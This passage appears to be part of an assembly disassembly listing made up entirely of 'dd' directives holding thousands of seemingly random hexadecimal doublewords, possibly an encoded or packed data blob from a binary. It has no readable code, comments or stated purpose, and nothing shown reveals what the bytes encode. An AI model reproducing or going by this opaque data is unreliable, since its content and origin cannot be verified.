0EFF1D5DDh, 52F51E30h, 0BE92485Eh, 0BE4A72E3h dd 0D0D9673Dh, 551ADB68h, 58753481h, 4C8CA0A8h, 0BBA79460h dd 3124483Eh, 940AD45h, 73B578AEh, 1221A61Fh, 0A6CEA877h dd 8C3D4A4Eh, 0B54FA5DBh, 6468CF30h, 0BE2FE102h, 0D786D03Dh dd 181122E9h, 489CB125h, 0BF9A5A09h, 46089C45h, 78B803E4h dd 5880A4Dh, 0F571B28Ch, 50C6292Eh, 26F8C8EFh, 28310206h dd 7F7059CBh, 2768660Eh dd 0B99D9B3Fh, 0D24C4455h, 53CE06B6h, 4256E8E9h, 5BDE2912h dd 2D50540Bh, 0BC2A3A7Eh, 0F493B2EAh, 1C981F6h, 0ED351839h dd 9468CAh, 4C1704BAh, 0B544815Fh, 293066E6h, 89E91054h dd 91E91CFh, 0AAB45B80h, 30AA5E4Bh, 7747C633h, 0DA787C2Fh dd 5F0880D7h, 29692F68h, 732A9CE6h, 81B07904h, 17BDD040h dd 0AC97638h, 0C38B0F17h, 28209C50h, 3E7CC03Bh, 810AC159h dd 3212F71Dh, 0DD09690Bh, 0C7A2A238h, 98F30180h, 0F9E74E1Ch dd 0A3BBD269h, 1CFF91AEh, 0F89AC731h, 80718508h, 17FACA52h dd 30A7A93Bh, 3A2F0E59h, 0C56604Ah, 0A688910Eh, 0E9F9290Bh dd 2EDFD8D9h, 2B9DDF7h, 483514C4h, 0BF3F2D7h, 5588B095h dd 0DBF182FFh, 4220774Fh, 5FA75D01h, 0C8B8F3FAh, 0D3180883h dd 255A0E50h, 0D738172Fh, 540AA12h, 8DCF8B05h, 0C3012640h dd 7CF839E9h, 0E5615E14h, 0AB080499h, 4BB2C180h, 255401DBh dd 36C27B95h, 174F42Dh, 33356607h, 5F04B49h, 5FD3D122h dd 0D6628144h, 0E0B9009Eh, 33E82706h, 68D6E27Fh, 0EF38101h dd 61434188h, 0E81F7659h, 0BDBC7D1Dh, 0E25B4511h, 0DFC32F2Fh dd 0C8979B96h, 83477BAFh, 68287790h, 6522E2Eh, 5D626FC1h dd 318BF32Dh, 6135A2DDh, 48E75745h, 9DA25416h, 5A580192h dd 434E0D75h, 3AB012D4h, 0C632E968h, 0F459845Eh, 0C51C3D63h dd 47572503h, 0BBEC8858h, 6B550500h, 2B011AD8h, 813B5808h dd 0BFE95456h, 0EEAB8112h, 41614D8Eh, 0FC3AB521h, 85055A18h dd 60995ADBh, 0BFBB7160h, 0C1C7B320h, 559F2140h, 0CA437289h dd 9020B685h, 0E9175BDDh, 16005EEh, 592A83D0h, 575F242Dh dd 68124896h, 0F2615D35h, 7E2D6BD2h, 0FC4B2449h, 0D2E14B9h dd 0CBFDDFD7h, 0C580CCC0h, 0B4503999h, 90E7207Bh, 736ABD00h dd 4F684D48h, 5D53C446h, 2C821E51h, 60379C1Ch, 0B605E319h dd 0B15178B5h, 0D0984490h, 5BA68F25h, 122926F6h, 2BFDCC2Dh dd 0C5201541h, 0A164BF66h, 81070660h, 0D778DAF6h, 3DC7AE42h dd 753932D9h, 973867Ch, 672E98Ch, 82E90274h, 78C1E6h, 5431595Ah dd 0B8205A92h, 16FB9D22h, 0BE4E0ADh, 0F9764AABh, 50DA027Eh dd 80471F6Bh, 165BE9FFh, 0EC015F96h, 2ED299B2h, 68485C00h dd 0C4F3464Ah, 58BEC04Fh, 1B129B2Dh, 45F45FEh, 0CBBAD3D7h dd 501D0221h, 64293D83h, 21087634h, 8202B99h, 1171CD0h dd 0E9038F51h, 4F648814h, 0F6193C22h, 3FE8E84Fh, 8AA42742h dd 0ED0B0914h, 90A39075h, 0BB7F8269h, 538DACFh, 0CF86C253h dd 0D6958BF5h, 419F0BDEh, 2368CBA1h, 0D9F7C230h, 5DEB4259h dd 3A78660h, 5067DE8h, 82AFFC5Bh, 227716h, 0DB0D7711h dd 0E909871Fh, 2D01F02Dh, 7307FA8h, 52AA3CEDh, 0D09D874Eh dd 14E5602h, 804C541h, 298F03EBh, 0EAE03613h, 71247C7h dd 0B200427Dh, 0A62C716Eh, 0AB5F9701h, 5459058Bh, 5F519844h dd 0CA81EF80h, 0BC6B0227h, 0CEB5E91Ah, 0BDE1C6F5h, 3EA90561h dd 4B712831h, 3BC1393Fh, 2E8839EEh, 6882BBACh, 0DED3CECh dd 621DA22Dh, 2000AF1h, 4E06B01Eh, 0FBB3E385h, 0AB96AAB2h dd 0E3C1E2CDh, 7A272A64h, 81BF4ADEh, 6E3E45D9h, 613AC5CCh dd 5BE24F81h, 9BA3B32h, 46AF0322h, 0A72EF813h, 0F54E95F2h dd 0A03B3271h, 0FA515B37h, 8431A04Ah, 41EE4112h, 69223784h dd 21C8F172h, 0EB7550CDh, 5105750Eh, 785368F8h, 0CB5136EFh dd 160C9A31h, 5020D388h, 8440828Eh, 7CB37521h, 0DEE1680Bh dd 9EF29427h, 6312839Dh, 0EFD91609h, 0B8E2F80h, 2E12D750h dd 0A14CA5Ch, 2F0705C8h, 0E9066345h, 35874615h, 0BEAD7729h dd 0F1D3DC8Bh, 683E868Dh, 585333D5h, 0C38B381Fh, 0C5EAC55h dd 0DD691236h, 71B3BF03h, 0E98842A4h, 715D86BDh, 9C1A84Dh dd 31AE7B0Dh, 520B3558h, 666D87E9h, 488E0026h, 814F34C5h dd 4A185CCFh, 0C70E736Ch, 16C1391Ch, 2C0C3126h, 10C500A7h dd 46E9E4A6h, 0FDBAC297h, 0F031F2D9h, 500929Bh, 0D2E11133h dd 2CFB4441h, 0C6F4C440h, 4807FBE2h, 0E420C05h, 330FAFB3h dd 0A64A8CE9h, 10F63FBDh, 0ED0FDDC8h, 0D4C95508h, 0F28EEF76h dd 673AA416h, 981682h, 720656BAh, 3727417Ah, 948527Dh dd 0DC763AFh, 0A4BB45F7h, 66220233h, 476B0F20h, 3E0B2EB9h dd 6008DE50h, 0DB48824Ah, 0E4A7164h, 0DAF7EAD1h, 78498ED8h dd 0CC63531h, 133145D4h, 41415A72h, 6E0E0C82h, 6D40492Ah dd 0B69E13C3h, 0C8808596h, 70B4D6B2h, 0BA3DE5D4h, 0B60338Bh dd 56166968h, 720067BAh, 472580F5h, 840CC164h, 3E55FC72h dd 6613B6BCh, 0EB38BA51h, 4B1CB0B6h, 0EE06C4FDh, 0B9029FA8h dd 266706D4h, 741C3940h, 3140EF09h, 0F6D680CEh, 35B798h dd 76B60511h, 0F00127A3h, 48072D51h, 0AB5FF3E7h, 1AA22375h dd 0D265EE97h, 5832A2BEh, 0BAAA253Eh, 47ECD541h, 720B305Bh dd 0EEE75766h, 0DB14395h, 15296E68h, 2979F9D9h, 4EAE0510h dd 46F2CEBBh, 0F7BDD760h, 5A68A4D8h, 146B1162h, 97C55F43h dd 5FDEF501h, 0C0301F1Bh, 0DD7CB7E2h, 5E197742h, 0C768E107h dd 0DFCC2B2Fh, 0FFE84FF9h, 2CE93778h, 93E40936h, 208DA14Eh dd 3839340Ch, 20905841h, 0B0079FCAh, 2FFE3E96h, 52C933D1h dd 0EB969D09h, 3B207F0Bh, 52AA8009h, 954C1771h, 0F709025Fh dd 7A2F60D7h, 4058333Bh, 0A5828AA8h, 0E9F8F981h, 52D15489h dd 96F3AA9Fh, 0F897FB96h, 0C416351h, 0E971D02Eh, 0DEBF8F53h dd 9B5262EFh, 18ADF709h, 962D2008h, 37D89BA9h, 0E0BD17F4h dd 0ECEAD894h, 3264B960h, 0AB3C5FB6h, 0C091B961h, 97C1BA05h dd 364BED5h, 0CC5E44E7h, 0C65B4960h, 97A65AC1h, 2BEE3300h dd 61982C10h, 0D49A7627h, 42AA62C1h, 0E8C42904h, 700C1982h dd 484E60D2h, 3277458Ch, 0F0CE6ECh, 52154217h, 0AAFE2E3h dd 5EF789DBh, 55CE02C0h, 0D880602Fh, 1A341B1Dh, 48B58B7h dd 0EE0A3D05h, 2EB947Ch, 4D84E907h, 993EF355h, 305BD3A1h dd 24AB867h, 0F84A0BA7h, 144F04B4h, 5F1469D9h, 0F3A17120h dd 0B9E78137h, 7A402BF5h, 0A03F02Eh, 0DB3D0638h, 0F1CD55A0h dd 0C17598F3h, 120360EDh, 4B0676E2h, 0E077E4FFh, 2110820Eh dd 2B9029E9h, 28B8F36Ch, 34882536h, 5C3707A2h, 0FBEB86E3h dd 335858EAh, 28B8B109h, 9E6F68CFh, 38D88332h, 501A7C53h dd 5F55012Dh, 686F4482h, 0B0826046h, 262752D7h, 530085BCh dd 5251C380h, 889BB60Ah, 0EE139DF1h, 0AC7A24F1h, 3D09DFF2h dd 0C8655D53h, 50276894h, 0C8BF3BF4h, 123AA88Fh, 0A2294B0Ah dd 0CC68CFDCh, 0B73C3774h, 544DA38Bh, 4226792Dh, 410097FFh dd 3E1C1h, 13106852h, 515A05B8h, 69EAACA0h, 811A2F0Eh dd 4565C0F7h, 970DE972h, 0BB2E85h, 88C3015Ch, 0C0FE5B0Bh dd 24CDA349h, 7102BCBh, 0B04E3E58h, 3841B1F3h, 73C00020h dd 2F4A7B16h, 0EDE4ED8Ch, 4F497CC1h, 0E4E625E6h, 8037825Bh dd 5A7F3291h, 3486B84Fh, 0BF3C35CCh, 87A1F7ACh, 4EFFC247h dd 0DDE9D24h, 39D04644h, 3B03E2C0h, 2887B753h, 9E305BFAh dd 3E08D44Dh, 31E960E0h, 882ECCDAh, 4F2C22F0h, 874917D0h dd 16C590CFh, 0AAA48AFh, 92B3410Ah, 0E2DDEF5Ah, 5742BE3Ah dd 61D4F659h, 0E06C1B41h, 0AC3104DFh, 0D10BAF47h, 5C00E1E4h dd 4B2A2A7Eh, 0C88EBADh, 0E33C188h, 77D6095Dh, 0F7AEF201h dd 0ECF9AD5h, 0F5A496A8h, 1CD41C2h, 0C2757BD7h, 0E845F17Fh dd 0F0576976h dd 2C48896Ch, 28310C11h, 0D9B29321h, 9C685B81h, 76F66E70h dd 7B26600Bh, 0E60B99D0h, 8F7DA26Ch, 73023E15h, 74EF31A6h dd 3DC90258h, 0F45D6C04h, 438E42F9h, 685F5EA0h, 1ABD56A1h dd 0BFB696C7h, 0A5B4F94Eh, 58EB7E7Ah, 71CB512Fh, 776E8932h dd 4492459h, 8CEAAFCAh, 0F664289Ch, 0FEA5BA10h, 463A442Fh dd 0DB9CB839h, 8BABEDC9h, 73E98388h, 0AA404F6Fh, 421A3E8Eh dd 0D37D1E30h, 2A32623h, 0FC842A03h, 0C1029AF5h, 0FA7CDDD5h dd 6B9A4179h, 40021BF0h, 50915C41h, 0C1A8E66Fh, 3E8E61Eh dd 273F0507h, 0F3EA3BF8h, 405DEFEAh, 0B52FFA3Ah, 8AD247BAh dd 12F5E321h, 8A2CBA1Ch, 0A2089523h, 0E1D75AEAh, 19299B06h dd 3DC29CD8h, 0BDEE2980h, 101E8B00h, 0F9B830C9h, 7C129F01h dd 8439E95Eh, 920A23Eh, 77E3A785h, 3B663569h, 0F1C6D018h dd 10FE9DBCh, 0F782F442h, 48AB2730h, 0C131CE92h, 0F40434E5h dd 6AF7EF04h, 1E5C2927h, 0F56998C2h, 4303EB71h, 9A6DBC29h dd 0C01326Ch, 811D08E9h, 80FDB642h, 0E02E89CEh, 6978E64Fh dd 0E92727B0h, 0BE7000A4h, 19B239Fh, 0BAF6817Bh, 30470C68h dd 201728C3h, 95BC6D32h, 6895E983h, 0E31F3670h, 6F2C380h dd 95A57847h, 5794B1D7h, 0E95E9878h, 0C84A868Dh, 0B9719D44h dd 51186805h, 0EF27A1B3h, 5CBD81F8h, 0B8507034h, 551F2086h dd 5EF38102h, 7F67414Ch, 0AC4C1F7Ah, 808409FCh, 0E1870EE7h dd 12454F6h, 0C7EC5BD9h, 0B5511642h, 81E40993h, 0E5DB36Ah dd 4DE4DB9h, 51488F00h, 0EF374003h, 8C59FE00h, 74E9F289h dd 0BC71B1D5h, 0AF7FCA18h, 381E37BAh, 5FF80B8Fh, 60BBB280h dd 0B5433D12h, 73F27618h, 98B807EDh, 775DD809h, 2F470002h dd 953DB3BEh, 796C9CC9h, 37B14A64h, 5CB0F83Bh, 685AA0C4h dd 8C2A4EBBh, 3D499F1Dh, 0F9E85E43h, 42D66127h, 27B852E9h dd 78224C12h, 9A7F249Ch, 49120217h, 5325DEA7h, 0CC7A0C58h dd 0C2739880h, 71E93509h, 0D42F3874h, 0FADAA0BEh, 4998270Ch dd 1608F776h, 515E001Fh, 9C448D68h, 0B0050A48h, 5D98741h dd 0E0E9D3F7h, 5856C860h, 0B2971CF8h, 0C47E40F6h, 84FF822Dh dd 0BF167656h, 21E3E480h, 0BBBB503Bh, 655209C3h, 255CD1Bh dd 0F10931A9h, 225C12C2h, 0A8F0F9F3h, 345DBD4Ah, 38AAEF17h dd 0C8B41B33h, 0EEA3BD01h, 3F31D621h, 9D398020h, 0B2DCA2Ah dd 6257406Eh, 5708047Fh, 472667C1h, 617B4387h, 215A0B89h dd 5A826E38h, 0BBF774FEh, 4D794520h, 510A26B6h, 43980477h dd 0E92A82A7h, 62D57AE2h, 0C8657BF9h, 108B27B1h, 68F55B0Bh dd 0C03A74E1h, 250FF52Dh, 0F7972066h, 56536290h, 7AAC683Ch dd 0E5E96012h, 5A5F7FE0h, 0BA17BA05h, 3A1002FCh, 9A587C3Eh dd 16343D83h, 87645390h, 3243ABD9h, 0A2EE8502h, 40E9C4BBh dd 52BAC2D4h, 7DFC080Fh, 6235F2Dh, 7507B66Ah, 313872B3h dd 24379A2h, 0B61C828h, 5130E9AEh, 0DDFE01F5h, 2EE47CF5h dd 21588E5Eh, 7B5B58D8h, 22771031h, 95BF04C3h, 7084F00Eh dd 549729Dh, 98220BF6h, 0AC7AB52h, 4D61EA97h, 0C7701804h dd 0B2F94EE6h, 695C85EFh, 81C4F7E2h, 9D4EBFEEh, 0E52C901h dd 0D3DB491Eh, 34566BE1h, 0CC53BD5Ch, 2A2C1D0Ah, 91EA5397h dd 51464A28h, 6F1310D1h, 4D1062CFh, 8FBE3A79h, 44999827h dd 44AAA9B1h, 802B4902h, 0ED254814h, 7B5C7C05h, 5FECE8E9h dd 0EC54CD4Eh, 92A5A735h, 4C6E5525h, 42415695h, 0F3A538BBh dd 920987D8h, 0E16ACFECh, 0E30B2840h, 4C2E0FD4h, 88160120h dd 0EA305BFDh, 43FEB07Ah, 9230AC81h, 2A26417Fh, 0F46E63EFh dd 0F2AA12FCh, 0F279C046h, 4801C84Bh, 0EAB526F7h, 0BE02BBCBh dd 21FA571Dh, 0D7C6E2D7h, 0F6820959h, 5763F4ADh, 0E90F1C71h dd 8820787Ch, 4FCFEECCh, 2728B377h, 590BD451h, 0F913AF7Ah dd 508C0846h, 0C435227h, 16052807h, 83D7FB76h, 0AD4A85E8h dd 924256Eh, 0E7EEF011h, 576EAC41h, 0CDF758A5h, 0EC258Ch dd 5966CC25h, 0C83B093Ah, 2ADE3F02h, 0D0505902h, 20EB9004h dd 8F1ED287h, 0D164047h, 12539B0h, 558375A2h, 30D1D0F7h dd 0DF6B0238h, 153A76D1h, 0EF0FCF1Ah, 0AD2CC35Dh, 85FE5863h dd 0A0CBF86Dh, 151244BDh, 9ACDB366h, 245C55AAh, 5B36BBC2h dd 201CA886h, 595803AAh, 4FC04F45h, 3904327h, 0E2BB5335h dd 0E9C0B779h, 469F66E3h, 5A332078h, 0FDED8012h, 0AC4617ABh dd 0F6432FF6h, 254E79EAh, 23DD7E44h, 889C569h, 0EE338524h dd 83C543ACh, 2F75ED73h, 0D5A74A47h, 0EC3EAC85h, 0EC077B6Dh dd 0D6C48002h, 458E600h, 0A9E9126Fh, 10B6FD99h, 957E6B3Eh dd 0F702BD96h, 296FAF4Dh, 62552BC5h, 0F58A6082h, 906DF223h dd 242E922Fh, 890A8566h, 935F6C21h, 4A82C218h, 0BFD95440h dd 50AA1E8Fh, 3D0F9ABFh, 0BA461B85h, 0C7F8ED12h, 8EC880E4h dd 734E5C22h, 623A47F8h, 9C312041h, 185F167Fh, 5F6B42BAh dd 0C8FF781h, 7339BA16h, 121BE3Eh, 0F257C85h, 2BDF530h dd 64131E83h, 0C4D7EFE9h, 0B57E65F8h, 0A2DAEE5Ah, 4C42B410h dd 14BF4BC1h, 0E534F906h, 9DDB825Fh, 153CD9FDh, 0BA38A395h dd 247518Ch, 0F217BDF0h, 20EE8A37h, 2861345Fh, 0D290C152h dd 477A1FEFh, 25B6652h, 0C0D559C8h, 8615A230h, 3350B562h dd 82820961h, 32C67073h, 59F07FCh, 5A8747F2h, 68024EA4h dd 7C7C2C97h, 180E805Ah, 0BF0FFD78h, 80414CAh, 11F8EA59h dd 0A1A6BEE4h, 95A90650h, 0B90EBDC5h, 0A7EE135Ah, 324A5468h dd 0E0B4006h, 74B7E7E9h, 986900BDh, 7BE5813Ch, 706F0D37h dd 0EE1BA30Ch, 5DFE2C7Fh, 175EAF1Ah, 5688DCEh, 313AE42Bh dd 0D4D38825h, 568BC9CBh, 79C16DFh, 0B3536A04h, 0E97A514Bh dd 6BD5356Ch, 4AFE2830h, 48274CDEh, 0BF712384h, 1EBD2770h dd 1CFB242Fh, 0C900220h, 95D4A99Fh, 85CA5B13h, 0ED13E913h dd 1EEF0251h, 0A22E6F68h, 0DF22D0AAh, 0E22CDBC7h, 2F2BB303h dd 970C5F64h, 0FCEFC53Dh, 0E9F7874Ch, 5AC2257Bh, 0E45392AEh dd 0CF396CD4h, 0B1AD5E34h, 8CB10612h, 9A09CBEAh, 0DF1CDF40h dd 7413E8DAh, 40F18926h, 0F036E46Fh, 0D691C16h, 0C20368BDh dd 4A39C147h, 0FF02749Fh, 0A871A881h, 566E322Eh, 892E31ECh dd 78251BCEh, 36D59569h, 0F7B42075h, 802870E1h, 6817E571h dd 96301EDBh, 32E974B7h, 0E2517A18h, 16C091D6h, 980C5734h dd 0BB624066h, 1C3BA812h, 0C3AB12ABh, 135BAD86h, 230B09EAh dd 7327A854h, 108626D4h, 28293442h, 4E8AAFh, 7DEDD5EFh dd 0BFF989CAh, 20C4C4FCh, 0F2BA44EFh, 95DBE347h, 5C552D5Bh dd 81044B89h, 7BC8FAEBh, 0BDC040FEh, 1736770Bh, 0F529E074h dd 8EFD127Bh, 6E14C1E3h, 0C9D27F7Ch, 0BFE870CAh, 27DDE642h dd 7D89AD33h, 0B1FAE816h, 839CB35Ah, 9358B6D2h, 524E4127h dd 7FF1895Eh, 0BFE97F61h, 429CDDCEh, 85A10997h, 27825BDEh dd 0E3B5C027h, 33599511h, 0F147C08Ah, 3B0016Fh, 76F0CA2h dd 0C20DF05Dh, 0BFE1535Ah, 0F2010065h, 40B8AA5Eh, 0A67058DFh dd 9D4FF0A7h, 68044AE5h, 98D81663h, 0E8E9882Ch, 251D6B9Fh dd 45575CF4h, 506ECC69h, 747BB803h, 0BC400438h, 0C100AAEDh dd 0E94803E8h, 319D982Dh, 58FD8984h, 0F24CBCDh, 0D301807Bh dd 2F30EBEFh, 2AC982D1h, 23BE2562h, 0F980465Ch, 5712EC55h dd 0CE4409BFh, 55FE978h, 0CBE809EAh, 7006C048h, 66C789BAh dd 0BA841CD2h, 0F90094FAh dd 4CA4915Bh, 48E35A00h, 0D42EE184h, 7FCAAD38h, 0C95A20B5h dd 765C298Ch, 0DEF10561h, 0EB305299h, 0CE5A220Ah, 2C5BCC0Dh dd 0E405E82Ah, 5CDD4BBh, 0B8BA6886h, 3005D262h, 38C8448Ch dd 862F1305h, 407A0B37h, 0E628D123h, 826B42B9h, 54EEBA66h dd 261740BFh, 0F0CC9D2Bh, 0A3B535F4h, 92A1593Fh, 31655DC8h dd 484FF282h, 3B970103h, 85D670C7h, 34375Fh, 0A1099B5Fh dd 6796DF57h, 4BAEB095h, 7E325C1h, 0C1186B7Dh, 0C53B03E7h dd 978E80E0h, 6976A06Ah, 1A0262F8h, 4CE97571h, 0B00094Fh dd 7C6F320Dh, 0CEF798C0h, 25E9B8D0h, 14FDA4ABh, 5D6E0711h dd 0D5E9460Ah, 0EB5BA468h, 0FE30B6B2h, 0F78004CFh, 0F9281E92h dd 0E9C98E5Bh, 93D16FECh, 72A6741Eh, 77FF6489h, 0BA04F944h dd 319B3B50h, 0C429ADBBh, 27CA6121h, 5D7DF63Eh, 5F099BA6h dd 0B05FE889h, 8259C07Fh, 8357C37Fh, 619CD1DAh, 32C7107Ch dd 1CDF0B64h, 0B4B32839h, 4769551h, 3FC73116h, 8030B260h dd 6E667EAh, 7E2607Bh, 0D07BCAFEh, 2182E926h, 0FBFDBA7h dd 0D7DCF828h, 2E8BABBAh, 0E48C6812h, 384EB689h, 5B78FEB2h dd 5E2A098Ah, 548F1202h, 105731DDh, 0B83A9075h, 63083A6Ch dd 2D348A30h, 18B80261h, 1EDD28E6h, 2F0E04DAh, 0EE811E16h dd 0E587E97Bh, 7BBE292Ah, 0D81CEF02h, 0D7254271h, 65E93F21h dd 5F456FE8h, 4EB2849h, 3F1F0F3h, 25CD2158h, 752F5CEh dd 0B70FE0Fh, 8F6A641Ch, 0F65B6601h, 0C2A622D2h, 0FEB254E9h dd 0DC74A787h, 0A703AA41h, 80F07496h, 4416BD95h, 1974D82Dh dd 0B07E4D94h, 0E9174564h, 268CDE1Eh, 2A6141F6h, 0F10B48A2h dd 0D4D40668h, 6149308h, 0A37E8E2h, 0D656EA6Fh, 9686AFCh dd 27A608B2h, 0E2EDE91Eh, 0EFF675C4h, 0A832F070h, 1C6DB341h dd 0CE5AC580h, 0DD0DCDEDh, 6A0FD610h, 6908FD5Bh, 0E82817E1h dd 0ACF7BF3h, 0D38CFF04h, 0F8BA6063h, 7E850578h, 0A90CFF52h dd 0D45A27CDh, 1F11873Fh, 0AE98196h, 14212A1Dh, 0F72B22E6h dd 91D91822h, 92BB914h, 2938D652h, 173B65F9h, 75705BD9h dd 0B03A5F3h, 0E4683862h, 32C29333h, 0BEB51875h, 7D0BF4A8h dd 0B4207114h, 151960B6h, 214B6186h, 268476B8h, 0D3D5B4A0h dd 4EAE305Fh, 3D01CCE4h, 2FDA015Eh, 5D14B201h, 0F6387C96h dd 65053B00h, 0B098FFBFh, 0F729870Bh, 830BF55Eh, 47207058h dd 0CB8B8021h, 8048BD4Bh, 58269A8h, 0FC2403F0h, 52DAF144h dd 0FF5A8214h, 5C2D4B16h, 7AF6463Bh, 8B6B631Ch, 0A5A305FEh dd 5B38F3EBh, 0D28468F8h, 0CD31058Bh, 0B51D85A0h, 0DA403592h dd 0E2E52C3h, 761BAA3Fh, 5702D26Bh, 0FE1E9D71h, 20067B25h dd 7CE50B8Eh, 6BF02B21h, 3F2775E8h, 0B1635D3Ah, 4E7DECE4h dd 961CEFAh, 0F5423DE9h, 68D14A3Ah, 62E4E941h, 385828A5h dd 0A15C1095h, 3C2F9D3Ah, 53E82262h, 75018252h, 0E9AC17DDh dd 8E4D6E0Dh, 95038A20h, 83D84C98h, 882ED3A4h, 0A54FE62Fh dd 7388691Bh, 0EED71E9Bh, 35C7DF18h, 5F2CEF41h, 0B7A430E9h dd 48E1BF50h, 293BC009h, 654ED5F8h, 0E925189Ah, 0A13E76D7h dd 41394D28h, 2A721327h, 74871032h, 0C6F28150h, 0EC7FDC73h dd 0E9B597BEh, 0E1CCB6D9h, 10CCF6Eh, 83BCF125h, 2216FC6Ah dd 0C30BE330h, 820E520h, 7D27AC84h, 20FD47C0h, 679A10D3h dd 0DA10BC14h, 83685CC2h, 504B4CDCh, 2B7795D7h, 8E027D1Fh dd 11C262F6h, 91D45482h, 0C9A45457h, 922179DFh, 0BE424928h dd 42B7ABDFh, 25A1C061h, 199EB573h, 0E90A229Ch, 0E3A598C2h dd 0FB6B8961h, 7411E1FBh, 3A30D12Bh, 691F3617h, 53BBD630h dd 5D591C01h, 0A9302E2Dh, 0E7AB469Dh, 88D5802Bh, 9600BA28h dd 68565E6Ch, 871454EBh, 0EA76BA55h, 7FABAA52h, 0D8A84947h dd 0E8ADEC2Ah, 28D1F113h, 7C04D9D1h, 8D853F23h, 0DC31AEDAh dd 6A765455h, 53016B48h, 0D11E47BBh, 0D701300Ah, 7BF95A18h dd 2D3D3A0Ch, 53D83091h, 0B3859B7h, 0A9850C2Dh, 4B50AC09h dd 0F0BC39AEh, 6C0ECBC3h, 0D3014632h, 15761400h, 0B051E22h dd 28105755h, 0EB74D57Ah, 7DD13E1Bh, 0E47E00Ch, 0CA8F6F71h dd 6C1A1FABh, 99EE5FFh, 91464A5Fh, 7819F409h, 32DD0E62h dd 14B6B6DCh, 0ABEE2868h, 0BF353D12h, 0A86A4C3Dh, 0E865A918h dd 0B9C49379h, 0E3C10752h, 8D4E06BFh, 91CF48C3h, 7A5DF15Ah dd 85B46BF8h, 4513F5BFh, 55F2EE91h, 0E9D6F704h, 0B846A037h dd 0BC0BC609h, 0EB09C52Ch, 7624677h, 3719742Dh, 1CCD5041h dd 0A590771Fh, 55070550h, 5DFBBD00h, 83E9754Fh, 1A689DAEh dd 0C8B75843h, 80320E9Ch, 5D61EE09h, 0AEFD7EB1h, 2C3BE16Bh dd 51D05028h, 67957C98h, 8B66242Ah, 0B075534Eh, 9728AC3Eh dd 34711575h, 0EA1AFA21h, 6A6F7430h, 154040E3h, 81001CACh dd 5DC54BF5h, 5AF4E9C4h, 6E828971h, 10017DE6h, 0E93D081Eh dd 24E5789Dh, 0A60C52h, 2BEB82Ch, 865B753h, 4E5EFEh, 7CB443EEh dd 3977FE9h, 0BA1F2CE6h, 21B5EA0h, 787B6841h, 0DB9FA1F1h dd 0E2A67F4Dh, 0B8B5566Eh, 0E73E1262h, 67F2FD47h, 835AD403h dd 60ECC0F4h, 0CB28EE66h, 0A1327F0Fh, 17085C7Dh, 7389B902h dd 0EBADF04Bh, 5EE4DD28h, 0BBEB00BEh, 152F7B0Bh, 233FC9Dh dd 85E7A7Eh, 7815DF0h, 0DFF63F5Bh, 0A2623105h, 800AF238h dd 6C55B951h, 87859F0Fh, 0CB6BF832h, 0B9DF60C3h, 3114166Dh dd 83800B63h, 27058D91h, 0AC1810A9h, 0C37CA04Eh, 29C5061Ch dd 80B0F067h, 0B3895B08h, 95DCADB1h, 955236D0h, 9E0922E5h dd 0EB815EBDh, 8457AC02h, 63E997DCh, 0D3F7C19Ah, 6953DF68h dd 0BAB37E85h, 0C355568Dh, 33773281h, 93C6372Bh, 0AB040DB2h dd 0E49DA4F1h, 0AE39C5BBh, 580172E0h, 814BD5F9h, 0E463684Bh dd 0FE971035h, 0D05267F8h, 46AE5C4Bh, 5E95E92Dh, 0F1E58F88h dd 0C319E025h, 451676E4h, 2CBF3BB8h, 614BFBCCh, 682C2CFFh dd 1835262Dh, 2D145D56h, 30401394h, 3BC066FBh, 73855EAh dd 4DCA9777h, 881C080Ch, 6A3D2815h, 0F7683ED5h, 94E539Fh dd 6841D0E9h, 6F86EB8h, 354EF4Fh, 0E6E9B03Ah, 7969226h dd 0C9FE4EE1h, 2DE5FC0h, 0CF3071C1h, 0F47FFB60h, 2ACFFC7h dd 585A6E52h, 0E8FA95B8h, 2FEE741Eh, 3C4752EFh, 3AAD2736h dd 5514216h, 0E1F26B0Fh, 2D03E0C0h, 584865FDh, 0FF712673h dd 29665A83h, 0A8559BD8h, 9777C3BDh, 0B03D6A04h, 9F3868BCh dd 28BA4E75h, 0E0BC5EAh, 7745867Fh, 80B0662h, 0FE5D061Ch dd 0C05F32C1h, 2297487h, 26603CB0h, 0F8AF5D04h, 0BF0B9E8Ch dd 0D280B006h, 73E33337h, 0A5F1A76Ah, 786BB0Fh, 0D1158F4Ch dd 450D01C8h, 80F71335h, 79DBF596h, 27E929B1h, 0D220682Dh dd 1F895AB7h, 2B419FF6h, 0E057E16Ah, 0E89DDE3Fh, 3D2F8883h dd 0DD97795Eh, 258CFFE1h, 74475A80h, 7C04BA6Bh, 3FE89341h dd 98116D2h, 0F8F4D4B9h, 4B283B3Bh, 5AF78ABEh, 2E41E306h dd 5FF809FBh, 0C165C209h, 51D2F700h, 0B63502E9h, 0E57F4BF9h dd 0B87D257Fh, 9522E9E0h, 73F5FC62h, 9BF709ACh, 0E2239CD3h dd 9388C216h, 88E84015h, 0ED253A7Dh, 7F206AE7h, 0F59B98EBh dd 0E8F65BEAh, 0F631E62Dh, 401D41A1h, 0B8AAB3C8h, 0EB01F9B8h dd 109B5944h, 1021D301h, 63EC0814h, 0EF5BB21Ah, 0DF66E27Dh dd 2BE6D74Ah, 14E2D125h, 0BA520792h, 0C03437A0h, 82F231BDh dd 27A1734Ah, 0AF3B846Fh, 17946B3h, 41A30E5Dh, 8BD5F745h dd 77293B40h dd 6ECDA420h, 0CD98613Dh, 0F2410B2Dh, 9E5097EBh, 0ED303E7Bh dd 0C4F14D2Ch, 86B41303h, 8F5DAA05h, 0E628E144h, 0E9160EEAh dd 0BCFA336Bh, 0A2861B4Fh, 9C5F9792h, 350E204Dh, 0D8ABA00h dd 0C6BB187Fh, 47A32F11h, 96C59402h, 0DF72E85Ch, 265DE11h dd 1EC5C53h, 491223F2h, 19D6158h, 25E0E907h, 0C2BD3068h dd 8F49CD98h, 46B80BCEh, 0D7B0036h, 14377CC3h, 0DED8F720h dd 0DE5F885Bh, 0F4B56270h, 747D7ACAh, 0FD5483A3h, 0C3B198C0h dd 45B0F84Ah, 378AE916h, 0F8579F28h, 0B93D5B5Eh, 3DC2B4FDh dd 97EFFFF9h, 4A45201Bh, 7ECE96B2h, 0EF0F8D02h, 82EB2938h dd 55A34ECAh, 0E62E1FCh, 0BD16CE47h, 0B25031FCh, 7AD33752h dd 2CAD5076h, 6620E985h, 6E86A0C4h, 8D6A94D4h, 3F19DD0Eh dd 1E7FCFA0h, 0FF296077h, 0CDBE3318h, 131E4EEEh, 0ABC9039Bh dd 8CB25556h, 0AC7B4885h, 942AC92Bh, 6054F455h, 413B1526h dd 813B62EEh, 144297E7h, 81EB1CB1h, 43340E09h, 